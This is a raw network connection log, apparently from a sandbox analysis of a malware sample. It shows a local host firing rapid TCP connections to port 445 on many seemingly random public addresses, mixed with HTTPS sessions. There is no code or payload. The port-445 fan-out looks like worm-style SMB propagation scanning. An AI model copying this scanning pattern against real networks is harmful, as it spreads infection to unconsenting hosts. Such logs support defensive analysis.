Jul 20, 2022 06:07:52.427086115 CEST	52881	445	192.168.2.6	108.138.109.58
Jul 20, 2022 06:07:52.432931900 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.432964087 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.433365107 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.434591055 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.434895992 CEST	52884	445	192.168.2.6	9.21.225.22
Jul 20, 2022 06:07:52.434976101 CEST	52885	445	192.168.2.6	193.224.173.94
Jul 20, 2022 06:07:52.435024023 CEST	52886	445	192.168.2.6	214.103.119.61
Jul 20, 2022 06:07:52.435159922 CEST	52889	445	192.168.2.6	104.101.129.148
Jul 20, 2022 06:07:52.435185909 CEST	52891	445	192.168.2.6	87.3.118.63
Jul 20, 2022 06:07:52.435256958 CEST	52894	445	192.168.2.6	186.235.52.201
Jul 20, 2022 06:07:52.435300112 CEST	52893	445	192.168.2.6	144.246.87.8
Jul 20, 2022 06:07:52.435373068 CEST	52895	445	192.168.2.6	212.135.231.223
Jul 20, 2022 06:07:52.435444117 CEST	52897	445	192.168.2.6	76.60.73.0
Jul 20, 2022 06:07:52.435523987 CEST	52899	445	192.168.2.6	73.17.76.119
Jul 20, 2022 06:07:52.435534954 CEST	52900	445	192.168.2.6	70.169.60.212
Jul 20, 2022 06:07:52.435625076 CEST	52901	445	192.168.2.6	162.77.159.38
Jul 20, 2022 06:07:52.437693119 CEST	52902	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.476494074 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.552555084 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.552690029 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.553523064 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.553538084 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.555833101 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.555844069 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.578639030 CEST	445	52861	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.578692913 CEST	445	52861	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.606766939 CEST	445	52902	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.609890938 CEST	52902	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.610130072 CEST	52902	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.621351957 CEST	52905	445	192.168.2.6	176.241.42.27
Jul 20, 2022 06:07:52.639209986 CEST	52904	445	192.168.2.6	178.159.42.60
Jul 20, 2022 06:07:52.662266016 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.662389040 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.662491083 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.662539005 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.662607908 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.662632942 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.662642956 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.664839983 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.665858030 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.665889978 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.666017056 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.666330099 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.666341066 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.772958994 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.772994995 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773071051 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773222923 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773245096 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773288012 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773340940 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773437023 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773475885 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773550034 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773559093 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773600101 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773616076 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773638964 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773648024 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773725986 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773731947 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.773803949 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.773852110 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.775470018 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.776310921 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.776329994 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.776339054 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:52.776345015 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.779427052 CEST	445	52902	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.780615091 CEST	52902	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.813775063 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.813946009 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.855935097 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.855956078 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.879775047 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.879793882 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.916546106 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:52.916600943 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:52.920545101 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:52.921228886 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:52.921247959 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:52.950160027 CEST	445	52902	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.953494072 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.953588009 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.953629017 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.953649998 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.954219103 CEST	52902	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.955193996 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.955215931 CEST	443	52906	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.955228090 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.955311060 CEST	52906	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:53.055788040 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.056046009 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.062439919 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.062467098 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.062953949 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.064004898 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.104506969 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.123168945 CEST	445	52902	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:53.149362087 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149406910 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149446964 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149630070 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.149676085 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149696112 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.149763107 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149796009 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149799109 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.149818897 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.149853945 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.149889946 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.149925947 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.150001049 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.150017977 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.150042057 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.150090933 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.150140047 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.152388096 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.152425051 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.152440071 CEST	52908	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:53.152452946 CEST	443	52908	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:53.203142881 CEST	52910	445	192.168.2.6	105.186.81.106
Jul 20, 2022 06:07:53.203814983 CEST	52911	445	192.168.2.6	220.187.51.164
Jul 20, 2022 06:07:53.204344988 CEST	52912	445	192.168.2.6	139.54.131.163
Jul 20, 2022 06:07:53.205367088 CEST	52914	445	192.168.2.6	186.125.184.53
Jul 20, 2022 06:07:53.328819036 CEST	52917	445	192.168.2.6	140.156.148.183
Jul 20, 2022 06:07:53.328902960 CEST	52918	445	192.168.2.6	111.91.128.164
Jul 20, 2022 06:07:53.328986883 CEST	52920	445	192.168.2.6	217.248.112.207
Jul 20, 2022 06:07:53.439812899 CEST	52922	445	192.168.2.6	206.107.162.4
Jul 20, 2022 06:07:53.440557003 CEST	52923	445	192.168.2.6	45.14.88.244
Jul 20, 2022 06:07:53.454351902 CEST	52925	445	192.168.2.6	130.230.126.5
Jul 20, 2022 06:07:53.484431982 CEST	52929	445	192.168.2.6	223.37.233.48
Jul 20, 2022 06:07:53.500787020 CEST	52931	445	192.168.2.6	169.44.221.150
Jul 20, 2022 06:07:53.515077114 CEST	52932	445	192.168.2.6	5.5.200.12
Jul 20, 2022 06:07:53.532905102 CEST	52935	445	192.168.2.6	62.61.43.17
Jul 20, 2022 06:07:53.546603918 CEST	52938	445	192.168.2.6	216.9.29.113
Jul 20, 2022 06:07:53.547339916 CEST	52939	445	192.168.2.6	60.205.6.88
Jul 20, 2022 06:07:53.547898054 CEST	52940	445	192.168.2.6	214.246.150.76
Jul 20, 2022 06:07:53.549372911 CEST	52943	445	192.168.2.6	106.127.220.11
Jul 20, 2022 06:07:53.550797939 CEST	52946	445	192.168.2.6	109.163.104.209
Jul 20, 2022 06:07:53.551501989 CEST	52947	445	192.168.2.6	130.36.130.85
Jul 20, 2022 06:07:53.552110910 CEST	52948	445	192.168.2.6	192.81.5.232
Jul 20, 2022 06:07:53.557192087 CEST	52950	445	192.168.2.6	181.229.158.47
Jul 20, 2022 06:07:53.557264090 CEST	52952	445	192.168.2.6	66.215.102.213
Jul 20, 2022 06:07:53.557312965 CEST	52953	445	192.168.2.6	66.181.7.48
Jul 20, 2022 06:07:53.557410955 CEST	52954	445	192.168.2.6	52.173.217.229
Jul 20, 2022 06:07:53.557456970 CEST	52956	445	192.168.2.6	73.7.240.109
Jul 20, 2022 06:07:53.557532072 CEST	52958	445	192.168.2.6	90.88.25.231
Jul 20, 2022 06:07:53.557543039 CEST	52959	445	192.168.2.6	148.243.232.53
Jul 20, 2022 06:07:53.687376976 CEST	52961	445	192.168.2.6	176.241.42.28
Jul 20, 2022 06:07:53.753288984 CEST	52962	445	192.168.2.6	178.159.42.61
Jul 20, 2022 06:07:53.913774014 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:53.913841009 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:53.913963079 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:53.916724920 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:53.916759968 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.151096106 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.151176929 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.151369095 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.155592918 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.158988953 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.159023046 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.251005888 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.251216888 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.251840115 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.251853943 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.254129887 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.254144907 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.254364967 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.254384041 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.256649017 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.256757975 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.256889105 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.328790903 CEST	52968	445	192.168.2.6	168.41.33.193
Jul 20, 2022 06:07:54.329307079 CEST	52969	445	192.168.2.6	33.118.115.156
Jul 20, 2022 06:07:54.329855919 CEST	52970	445	192.168.2.6	42.160.238.46
Jul 20, 2022 06:07:54.330456018 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.330528975 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.330579996 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.330600977 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.331443071 CEST	52972	445	192.168.2.6	102.239.160.13
Jul 20, 2022 06:07:54.342489004 CEST	52966	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:07:54.342533112 CEST	443	52966	20.31.108.18	192.168.2.6
Jul 20, 2022 06:07:54.352662086 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.360600948 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.360776901 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.426639080 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.426779985 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.429755926 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.429775953 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.430143118 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.431443930 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.438569069 CEST	52977	445	192.168.2.6	105.196.91.37
Jul 20, 2022 06:07:54.438633919 CEST	52978	445	192.168.2.6	164.125.143.215
Jul 20, 2022 06:07:54.438682079 CEST	52976	445	192.168.2.6	150.20.100.76
Jul 20, 2022 06:07:54.460179090 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.460350037 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.472506046 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.560626030 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.560862064 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.564959049 CEST	52980	445	192.168.2.6	182.111.54.217
Jul 20, 2022 06:07:54.565682888 CEST	52981	445	192.168.2.6	138.114.0.220
Jul 20, 2022 06:07:54.578686953 CEST	52985	445	192.168.2.6	171.15.190.228
Jul 20, 2022 06:07:54.594192028 CEST	52987	445	192.168.2.6	190.81.143.172
Jul 20, 2022 06:07:54.625169039 CEST	52988	445	192.168.2.6	180.61.118.110
Jul 20, 2022 06:07:54.625756979 CEST	52989	445	192.168.2.6	165.28.244.166
Jul 20, 2022 06:07:54.641391993 CEST	52993	445	192.168.2.6	33.182.245.114
Jul 20, 2022 06:07:54.660101891 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.660278082 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.690140009 CEST	52996	445	192.168.2.6	179.145.0.97
Jul 20, 2022 06:07:54.690300941 CEST	52997	445	192.168.2.6	120.29.135.37
Jul 20, 2022 06:07:54.690434933 CEST	52998	445	192.168.2.6	164.212.84.41
Jul 20, 2022 06:07:54.690618992 CEST	53001	445	192.168.2.6	40.25.217.116
Jul 20, 2022 06:07:54.690814972 CEST	53005	445	192.168.2.6	204.235.2.132
Jul 20, 2022 06:07:54.690994024 CEST	53006	445	192.168.2.6	45.94.242.216
Jul 20, 2022 06:07:54.691034079 CEST	53004	445	192.168.2.6	9.15.240.198
Jul 20, 2022 06:07:54.691148043 CEST	53009	445	192.168.2.6	9.246.3.211
Jul 20, 2022 06:07:54.691225052 CEST	53010	445	192.168.2.6	38.161.219.205
Jul 20, 2022 06:07:54.691307068 CEST	53011	445	192.168.2.6	85.101.249.71
Jul 20, 2022 06:07:54.691379070 CEST	53012	445	192.168.2.6	59.44.186.123
Jul 20, 2022 06:07:54.691654921 CEST	53016	445	192.168.2.6	48.154.147.39
Jul 20, 2022 06:07:54.691749096 CEST	53017	445	192.168.2.6	21.76.91.40
Jul 20, 2022 06:07:54.738234043 CEST	53018	445	192.168.2.6	37.21.160.63
Jul 20, 2022 06:07:54.753180981 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.753227949 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:54.753350973 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.753624916 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.753650904 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:54.759963036 CEST	445	52967	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:54.760062933 CEST	52967	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:54.765507936 CEST	53020	445	192.168.2.6	176.241.42.29
Jul 20, 2022 06:07:54.766655922 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.766686916 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.766946077 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.767046928 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.767074108 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.767098904 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.767103910 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.767110109 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.767221928 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.767227888 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.767271042 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.767307997 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.770374060 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.770412922 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.770426035 CEST	52964	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:54.770448923 CEST	443	52964	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:54.835278034 CEST	53022	445	192.168.2.6	178.159.42.62
Jul 20, 2022 06:07:54.881417990 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:54.881491899 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:54.881707907 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:54.882129908 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:54.882152081 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:54.908288956 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:54.908416986 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.935118914 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.935144901 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:54.938437939 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:54.938462019 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.023962021 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.024260044 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.025971889 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.025986910 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.026583910 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.029320002 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.031048059 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.031138897 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.031276941 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.072516918 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.083280087 CEST	53019	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.083313942 CEST	443	53019	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.121223927 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121251106 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121270895 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121366024 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121392012 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121448994 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121512890 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121536016 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121587038 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121598005 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121611118 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121623039 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.121629000 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121654987 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.121674061 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.164522886 CEST	53023	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.164571047 CEST	443	53023	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.200437069 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.200486898 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.200596094 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.213073969 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.213099957 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.353302956 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.357244968 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.359471083 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.359482050 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.362684011 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.362709999 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.439176083 CEST	53028	445	192.168.2.6	16.101.151.246
Jul 20, 2022 06:07:55.439857006 CEST	53029	445	192.168.2.6	167.38.152.103
Jul 20, 2022 06:07:55.440161943 CEST	53030	445	192.168.2.6	145.115.49.176
Jul 20, 2022 06:07:55.441154003 CEST	53032	445	192.168.2.6	40.109.89.201
Jul 20, 2022 06:07:55.512898922 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.513026953 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.513077974 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.513113022 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.513283014 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.513323069 CEST	443	53025	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:55.513338089 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.513401985 CEST	53025	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:55.562634945 CEST	53036	445	192.168.2.6	164.6.147.246
Jul 20, 2022 06:07:55.563113928 CEST	53037	445	192.168.2.6	68.200.108.236
Jul 20, 2022 06:07:55.566080093 CEST	53038	445	192.168.2.6	149.65.105.203
Jul 20, 2022 06:07:55.700555086 CEST	53040	445	192.168.2.6	116.229.3.48
Jul 20, 2022 06:07:55.701086044 CEST	53041	445	192.168.2.6	132.65.125.14
Jul 20, 2022 06:07:55.705154896 CEST	53044	445	192.168.2.6	14.230.180.143
Jul 20, 2022 06:07:55.720587969 CEST	53047	445	192.168.2.6	98.103.236.220
Jul 20, 2022 06:07:55.751451969 CEST	53049	445	192.168.2.6	209.26.250.250
Jul 20, 2022 06:07:55.751454115 CEST	53050	445	192.168.2.6	215.14.50.188
Jul 20, 2022 06:07:55.765573978 CEST	53051	445	192.168.2.6	195.127.106.69
Jul 20, 2022 06:07:55.768331051 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.768362045 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.768496037 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.769541979 CEST	53056	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:55.769555092 CEST	443	53056	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:55.816688061 CEST	53057	445	192.168.2.6	37.21.160.64
Jul 20, 2022 06:07:55.820142031 CEST	53059	445	192.168.2.6	136.17.233.4
Jul 20, 2022 06:07:55.820143938 CEST	53060	445	192.168.2.6	47.191.239.38
Jul 20, 2022 06:07:55.820250988 CEST	53061	445	192.168.2.6	31.252.119.189
Jul 20, 2022 06:07:55.820328951 CEST	53063	445	192.168.2.6	73.121.164.251
Jul 20, 2022 06:07:55.820429087 CEST	53064	445	192.168.2.6	81.238.190.246
